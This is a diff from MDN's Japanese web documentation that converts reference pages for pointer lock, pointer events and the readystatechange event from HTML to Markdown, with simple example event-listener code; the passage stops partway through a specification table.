b/files/ja/web/api/document/pointerlockchange_event/index.html deleted file mode 100644 index 73414a87c6d48d..00000000000000 --- a/files/ja/web/api/document/pointerlockchange_event/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: 'Document: pointerlockchange イベント' -slug: Web/API/Document/pointerlockchange_event -tags: - - Document - - Event - - Reference - - Web - - pointerlockchange - - イベント - - ウェブ -translation_of: Web/API/Document/pointerlockchange_event ---- -
{{APIRef}}
- -

pointerlockchange イベントは、ポインターがロックされたり解除されたりしたときに発行されます。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document/onpointerlockchange", "onpointerlockchange")}}
- -

- -

addEventListener() を使用した場合

- -
document.addEventListener('pointerlockchange', (event) => {
-  console.log('Pointer lock changed');
-});
- -

onpointerlockerror イベントハンドラープロパティを使用した場合

- -
document.onpointerlockchange = (event) => {
-  console.log('Pointer lock changed');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}{{Spec2('Pointer Lock')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerlockchange_event")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/pointerlockchange_event/index.md b/files/ja/web/api/document/pointerlockchange_event/index.md new file mode 100644 index 00000000000000..2314b71a206589 --- /dev/null +++ b/files/ja/web/api/document/pointerlockchange_event/index.md @@ -0,0 +1,71 @@ +--- +title: 'Document: pointerlockchange イベント' +slug: Web/API/Document/pointerlockchange_event +tags: + - Document + - Event + - Reference + - Web + - pointerlockchange + - イベント + - ウェブ +translation_of: Web/API/Document/pointerlockchange_event +--- +{{APIRef}} + +`pointerlockchange` イベントは、ポインターがロックされたり解除されたりしたときに発行されます。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document/onpointerlockchange", "onpointerlockchange")}} +
+ +## 例 + +`addEventListener()` を使用した場合 + +```js +document.addEventListener('pointerlockchange', (event) => { + console.log('Pointer lock changed'); +}); +``` + +`onpointerlockerror` イベントハンドラープロパティを使用した場合 + +```js +document.onpointerlockchange = (event) => { + console.log('Pointer lock changed'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}} | {{Spec2('Pointer Lock')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerlockchange_event")}} + +## 関連情報 + +- [Pointer Lock API の使用](/ja/docs/API/Pointer_Lock_API) diff --git a/files/ja/web/api/document/pointerlockelement/index.html b/files/ja/web/api/document/pointerlockelement/index.html deleted file mode 100644 index e4ed1f4052b9b0..00000000000000 --- a/files/ja/web/api/document/pointerlockelement/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: DocumentOrShadowRoot.pointerLockElement -slug: Web/API/Document/pointerLockElement -tags: - - API - - DOM - - Document - - Property - - Reference - - ShadowRoot - - mouse lock - - プロパティ - - マウスロック -translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement -original_slug: Web/API/DocumentOrShadowRoot/pointerLockElement ---- -
{{APIRef("DOM")}}
- -

pointerLockElement は {{domxref("Document")}} および {{domxref("ShadowRoot")}} インターフェイスのプロパティで、要素をポインターがロックされている間のマウスイベントの対象として設定します。ロック待ち状態の場合、ポインターがロックされていない場合、対象が他の文書にある場合は null になります。

- -

構文

- -
var element = document.pointerLockElement;
-
- -

返値

- -

{{domxref("Element")}} または null

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Pointer Lock','#extensions-to-the-documentorshadowroot-mixin','pointerLockElement')}}{{Spec2('Pointer Lock')}}Document インターフェイスを拡張
- -

ブラウザーの互換性

- -

{{Compat("api.DocumentOrShadowRoot.pointerLockElement")}}

- -

関連情報

- -
    -
  • {{ domxref("Document.exitPointerLock()") }}
  • -
  • {{ domxref("Element.requestPointerLock()") }}
  • -
  • Pointer Lock
  • -
diff --git a/files/ja/web/api/document/pointerlockelement/index.md b/files/ja/web/api/document/pointerlockelement/index.md new file mode 100644 index 00000000000000..7360d7f66b6f4a --- /dev/null +++ b/files/ja/web/api/document/pointerlockelement/index.md @@ -0,0 +1,45 @@ +--- +title: DocumentOrShadowRoot.pointerLockElement +slug: Web/API/Document/pointerLockElement +tags: + - API + - DOM + - Document + - Property + - Reference + - ShadowRoot + - mouse lock + - プロパティ + - マウスロック +translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +original_slug: Web/API/DocumentOrShadowRoot/pointerLockElement +--- +{{APIRef("DOM")}} + +**`pointerLockElement`** は {{domxref("Document")}} および {{domxref("ShadowRoot")}} インターフェイスのプロパティで、要素をポインターがロックされている間のマウスイベントの対象として設定します。ロック待ち状態の場合、ポインターがロックされていない場合、対象が他の文書にある場合は `null` になります。 + +## 構文 + +``` +var element = document.pointerLockElement; +``` + +### 返値 + +{{domxref("Element")}} または `null`。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------- | +| {{SpecName('Pointer Lock','#extensions-to-the-documentorshadowroot-mixin','pointerLockElement')}} | {{Spec2('Pointer Lock')}} | `Document` インターフェイスを拡張 | + +## ブラウザーの互換性 + +{{Compat("api.DocumentOrShadowRoot.pointerLockElement")}} + +## 関連情報 + +- {{ domxref("Document.exitPointerLock()") }} +- {{ domxref("Element.requestPointerLock()") }} +- [Pointer Lock](/ja/docs/WebAPI/Pointer_Lock) diff --git a/files/ja/web/api/document/pointerlockerror_event/index.html b/files/ja/web/api/document/pointerlockerror_event/index.html deleted file mode 100644 index 59ebb5b607fb71..00000000000000 --- a/files/ja/web/api/document/pointerlockerror_event/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'Document: pointerlockerror イベント' -slug: Web/API/Document/pointerlockerror_event -tags: - - Document - - Event - - Reference - - Web - - pointerlockerror - - イベント - - ウェブ - - ポインター -translation_of: Web/API/Document/pointerlockerror_event ---- -
{{APIRef}}
- -

pointerlockerror イベントは、 (技術的な理由、またはパーミッションが拒否されたために) ポインターのロックに失敗したときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document/onpointerlockchange", "onpointerlockerror")}}
- -

- -

addEventListener() を使用した場合

- -
const para = document.querySelector('p');
-
-document.addEventListener('pointerlockerror', (event) => {
-  console.log('Error locking pointer');
-});
- -

onpointerlockerror イベントハンドラープロパティを使用した場合

- -
document.onpointerlockerror = (event) => {
-  console.log('Error locking pointer');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}{{Spec2('Pointer Lock')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerlockerror_event")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/pointerlockerror_event/index.md b/files/ja/web/api/document/pointerlockerror_event/index.md new file mode 100644 index 00000000000000..6f9ea45edfd17c --- /dev/null +++ b/files/ja/web/api/document/pointerlockerror_event/index.md @@ -0,0 +1,74 @@ +--- +title: 'Document: pointerlockerror イベント' +slug: Web/API/Document/pointerlockerror_event +tags: + - Document + - Event + - Reference + - Web + - pointerlockerror + - イベント + - ウェブ + - ポインター +translation_of: Web/API/Document/pointerlockerror_event +--- +{{APIRef}} + +`pointerlockerror` イベントは、 (技術的な理由、またはパーミッションが拒否されたために) ポインターのロックに失敗したときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ + {{domxref("Document/onpointerlockchange", "onpointerlockerror")}} +
+ +## 例 + +`addEventListener()` を使用した場合 + +```js +const para = document.querySelector('p'); + +document.addEventListener('pointerlockerror', (event) => { + console.log('Error locking pointer'); +}); +``` + +`onpointerlockerror` イベントハンドラープロパティを使用した場合 + +```js +document.onpointerlockerror = (event) => { + console.log('Error locking pointer'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | +| {{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}} | {{Spec2('Pointer Lock')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerlockerror_event")}} + +## 関連情報 + +- [Pointer Lock API の使用](/ja/docs/API/Pointer_Lock_API) diff --git a/files/ja/web/api/document/pointermove_event/index.html b/files/ja/web/api/document/pointermove_event/index.html deleted file mode 100644 index 573a3a9d03f123..00000000000000 --- a/files/ja/web/api/document/pointermove_event/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 'Document: pointermove イベント' -slug: Web/API/Document/pointermove_event -tags: - - Document - - Event - - PointerEvent - - Reference - - Web - - pointer - - pointermove - - イベント - - ウェブ - - ポインター -translation_of: Web/API/Document/pointermove_event ---- -
{{APIRef}}
- -

pointermove はポインターの座標が変化し、かつブラウザーのタッチ操作によってポインターがキャンセルされていないときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}}
- -

- -

addEventListener() を使用した場合

- -
document.addEventListener('pointermove', (event) => {
-  console.log('Pointer moved');
-});
- -

onpointermove イベントハンドラープロパティを使用した場合

- -
document.onpointermove = (event) => {
-  console.log('Pointer moved');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointermove-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointermove_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointermove_event", "pointermove")}} イベント
  • -
diff --git a/files/ja/web/api/document/pointermove_event/index.md b/files/ja/web/api/document/pointermove_event/index.md new file mode 100644 index 00000000000000..46c475c560cbec --- /dev/null +++ b/files/ja/web/api/document/pointermove_event/index.md @@ -0,0 +1,84 @@ +--- +title: 'Document: pointermove イベント' +slug: Web/API/Document/pointermove_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - pointer + - pointermove + - イベント + - ウェブ + - ポインター +translation_of: Web/API/Document/pointermove_event +--- +{{APIRef}} + +`pointermove` はポインターの座標が変化し、かつブラウザーの[タッチ操作](/ja/docs/Web/CSS/touch-action)によってポインターが[キャンセル](/ja/docs/Web/Events/pointercancel)されていないときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}} +
+ +## 例 + +`addEventListener()` を使用した場合 + +```js +document.addEventListener('pointermove', (event) => { + console.log('Pointer moved'); +}); +``` + +`onpointermove` イベントハンドラープロパティを使用した場合 + +```js +document.onpointermove = (event) => { + console.log('Pointer moved'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointermove-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointermove_event")}} + +## 関連情報 + +- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointermove_event", "pointermove")}} イベント diff --git a/files/ja/web/api/document/pointerout_event/index.html b/files/ja/web/api/document/pointerout_event/index.html deleted file mode 100644 index f6261665ffe558..00000000000000 --- a/files/ja/web/api/document/pointerout_event/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: 'Document: pointerout イベント' -slug: Web/API/Document/pointerout_event -tags: - - Document - - Event - - PointerEvent - - Reference - - Web - - onpointerout - - pointerout - - イベント -translation_of: Web/API/Document/pointerout_event ---- -
{{APIRef}}
- -

pointerout イベントはいくつかの理由で発生します。ポインティングデバイスが要素のヒットテスト境界を出たとき、ホバーに対応していない端末で {{domxref("Document/pointerup_event", "pointerup")}} イベントが発生したとき ({{domxref("Document/pointerup_event", "pointerup")}} を参照)、 {{domxref("Document/pointercancel_event", "pointercancel")}} イベントが発生した後 ({{domxref("Document/pointercancel_event", "pointercancel")}} を参照)、スタイラスペンがデジタイザーで検出可能なホバー範囲を離れたとき、などです。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}}
- -

- -

addEventListener() を使用した場合

- -
document.addEventListener('pointerout', (event) => {
-  console.log('Pointer moved out');
-});
- -

onpointerout イベントハンドラープロパティを使用した場合

- -
document.onpointerout = (event) => {
-  console.log('Pointer moved out');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerout-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerout_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} event handler property
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerout_event", "pointerout")}} event
  • -
diff --git a/files/ja/web/api/document/pointerout_event/index.md b/files/ja/web/api/document/pointerout_event/index.md new file mode 100644 index 00000000000000..4f345f2bf8fb10 --- /dev/null +++ b/files/ja/web/api/document/pointerout_event/index.md @@ -0,0 +1,82 @@ +--- +title: 'Document: pointerout イベント' +slug: Web/API/Document/pointerout_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerout + - pointerout + - イベント +translation_of: Web/API/Document/pointerout_event +--- +{{APIRef}} + +`pointerout` イベントはいくつかの理由で発生します。ポインティングデバイスが要素の*ヒットテスト*境界を出たとき、ホバーに対応していない端末で {{domxref("Document/pointerup_event", "pointerup")}} イベントが発生したとき ({{domxref("Document/pointerup_event", "pointerup")}} を参照)、 {{domxref("Document/pointercancel_event", "pointercancel")}} イベントが発生した後 ({{domxref("Document/pointercancel_event", "pointercancel")}} を参照)、スタイラスペンがデジタイザーで検出可能なホバー範囲を離れたとき、などです。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} +
+ +## 例 + +`addEventListener()` を使用した場合 + +```js +document.addEventListener('pointerout', (event) => { + console.log('Pointer moved out'); +}); +``` + +`onpointerout` イベントハンドラープロパティを使用した場合 + +```js +document.onpointerout = (event) => { + console.log('Pointer moved out'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerout-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerout_event")}} + +## 関連情報 + +- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointerup_event", "pointerup")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} event handler property +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerout_event", "pointerout")}} event diff --git a/files/ja/web/api/document/pointerover_event/index.html b/files/ja/web/api/document/pointerover_event/index.html deleted file mode 100644 index 3d63f73b5b8eae..00000000000000 --- a/files/ja/web/api/document/pointerover_event/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 'Document: pointerover イベント' -slug: Web/API/Document/pointerover_event -tags: - - API - - Document - - Event - - PointerEvent - - Reference - - Web - - onpointerover - - pointer - - pointerover - - イベント - - ポインター -translation_of: Web/API/Document/pointerover_event ---- -
{{APIRef}}
- -

pointerover イベントは、ポインティングデバイスが要素のヒットテスト境界内に移動したときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}}
- -

- -

addEventListener() を使用した場合

- -
document.addEventListener('pointerover', (event) => {
-  console.log('Pointer moved in');
-});
- -

onpointerover イベントハンドラープロパティを使用した場合

- -
document.onpointerover = (event) => {
-  console.log('Pointer moved in');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerover-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerover_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} event handler property
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerover_event", "pointerover")}} イベント
  • -
diff --git a/files/ja/web/api/document/pointerover_event/index.md b/files/ja/web/api/document/pointerover_event/index.md new file mode 100644 index 00000000000000..9004ee8b6e1fc8 --- /dev/null +++ b/files/ja/web/api/document/pointerover_event/index.md @@ -0,0 +1,84 @@ +--- +title: 'Document: pointerover イベント' +slug: Web/API/Document/pointerover_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerover + - pointer + - pointerover + - イベント + - ポインター +translation_of: Web/API/Document/pointerover_event +--- +{{APIRef}} + +`pointerover` イベントは、ポインティングデバイスが要素のヒットテスト境界内に移動したときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} +
+ +## 例 + +`addEventListener()` を使用した場合 + +```js +document.addEventListener('pointerover', (event) => { + console.log('Pointer moved in'); +}); +``` + +`onpointerover` イベントハンドラープロパティを使用した場合 + +```js +document.onpointerover = (event) => { + console.log('Pointer moved in'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerover-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerover_event")}} + +## 関連情報 + +- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} event handler property +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerover_event", "pointerover")}} イベント diff --git a/files/ja/web/api/document/pointerup_event/index.html b/files/ja/web/api/document/pointerup_event/index.html deleted file mode 100644 index fa1ecc28fc8a09..00000000000000 --- a/files/ja/web/api/document/pointerup_event/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 'Document: pointerup event' -slug: Web/API/Document/pointerup_event -tags: - - API - - Document - - Event - - PointerEvent - - Reference - - Web - - onpointerup - - pointerup - - イベント - - ポインター -translation_of: Web/API/Document/pointerup_event ---- -
{{APIRef}}
- -

pointerup イベントは、ポインターがアクティブではなくなったときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}}
- -

- -

addEventListener() を使用した場合

- -
document.addEventListener('pointerup', (event) => {
-  console.log('Pointer up');
-});
- -

onpointerup イベントハンドラープロパティを使用した場合

- -
document.onpointerup = (event) => {
-  console.log('Pointer up');
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerup-event')}}{{Spec2('Pointer Events')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.pointerup_event")}}

- -

関連情報

- -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerenter_event", "pointerenter")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerup_event", "pointerup")}} イベント
  • -
diff --git a/files/ja/web/api/document/pointerup_event/index.md b/files/ja/web/api/document/pointerup_event/index.md new file mode 100644 index 00000000000000..ed8ed421ae7b04 --- /dev/null +++ b/files/ja/web/api/document/pointerup_event/index.md @@ -0,0 +1,84 @@ +--- +title: 'Document: pointerup event' +slug: Web/API/Document/pointerup_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerup + - pointerup + - イベント + - ポインター +translation_of: Web/API/Document/pointerup_event +--- +{{APIRef}} + +`pointerup` イベントは、ポインターがアクティブではなくなったときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} +
+ +## 例 + +`addEventListener()` を使用した場合 + +```js +document.addEventListener('pointerup', (event) => { + console.log('Pointer up'); +}); +``` + +`onpointerup` イベントハンドラープロパティを使用した場合 + +```js +document.onpointerup = (event) => { + console.log('Pointer up'); +}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerup-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.pointerup_event")}} + +## 関連情報 + +- {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} +- {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} +- {{domxref("Document/pointerover_event", "pointerover")}} +- {{domxref("Document/pointerenter_event", "pointerenter")}} +- {{domxref("Document/pointerdown_event", "pointerdown")}} +- {{domxref("Document/pointermove_event", "pointermove")}} +- {{domxref("Document/pointercancel_event", "pointercancel")}} +- {{domxref("Document/pointerout_event", "pointerout")}} +- {{domxref("Document/pointerleave_event", "pointerleave")}} +- {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerup_event", "pointerup")}} イベント diff --git a/files/ja/web/api/document/readystatechange_event/index.html b/files/ja/web/api/document/readystatechange_event/index.html deleted file mode 100644 index 83c86bbc0c7de6..00000000000000 --- a/files/ja/web/api/document/readystatechange_event/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: 'Document: readystatechange イベント' -slug: Web/API/Document/readystatechange_event -tags: - - Event - - Reference - - XMLHttpRequest - - interactive -translation_of: Web/API/Document/readystatechange_event ---- -
{{APIRef}}
- -

readystatechange eventは、文書の {{domxref("Document.readyState", "readyState")}} 属性が変化したときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティonreadystatechange
- -

- -

ライブデモ

- -

HTML

- -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-const reload = document.querySelector('#reload');
-
-reload.addEventListener('click', () => {
-  log.textContent ='';
-  window.setTimeout(() => {
-      window.location.reload(true);
-  }, 200);
-});
-
-window.addEventListener('load', (event) => {
-    log.textContent = log.textContent + 'load\n';
-});
-
-document.addEventListener('readystatechange', (event) => {
-    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
-});
-
-document.addEventListener('DOMContentLoaded', (event) => {
-    log.textContent = log.textContent + `DOMContentLoaded\n`;
-});
-
-
- -

結果

- -

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.readystatechange_event")}}

- -

関連情報

- -
    -
  • 関連イベント: {{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
  • -
diff --git a/files/ja/web/api/document/readystatechange_event/index.md b/files/ja/web/api/document/readystatechange_event/index.md new file mode 100644 index 00000000000000..bb4197f388723e --- /dev/null +++ b/files/ja/web/api/document/readystatechange_event/index.md @@ -0,0 +1,125 @@ +--- +title: 'Document: readystatechange イベント' +slug: Web/API/Document/readystatechange_event +tags: + - Event + - Reference + - XMLHttpRequest + - interactive +translation_of: Web/API/Document/readystatechange_event +--- +{{APIRef}} + +**`readystatechange`** event は、文書の {{domxref("Document.readyState", "readyState")}} 属性が変化したときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティonreadystatechange
+ +## 例 + +### ライブデモ + +#### HTML + +```html +
+ +
+ +
+ + +
+``` + +```css hidden +body { + display: grid; + grid-template-areas: "control log"; +} + +.controls { + grid-area: control; + display: flex; + align-items: center; + justify-content: center; +} + +.event-log { + grid-area: log; +} + +.event-log-contents { + resize: none; +} + +label, button { + display: block; +} + +#reload { + height: 2rem; +} +``` + +#### JS + +```js +const log = document.querySelector('.event-log-contents'); +const reload = document.querySelector('#reload'); + +reload.addEventListener('click', () => { + log.textContent =''; + window.setTimeout(() => { + window.location.reload(true); + }, 200); +}); + +window.addEventListener('load', (event) => { + log.textContent = log.textContent + 'load\n'; +}); + +document.addEventListener('readystatechange', (event) => { + log.textContent = log.textContent + `readystate: ${document.readyState}\n`; +}); + +document.addEventListener('DOMContentLoaded', (event) => { + log.textContent = log.textContent + `DOMContentLoaded\n`; +}); +``` + +#### 結果 + +{{ EmbedLiveSample('Live_example', '100%', '160px') }} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName("HTML WHATWG", "indices.html#event-readystatechange", 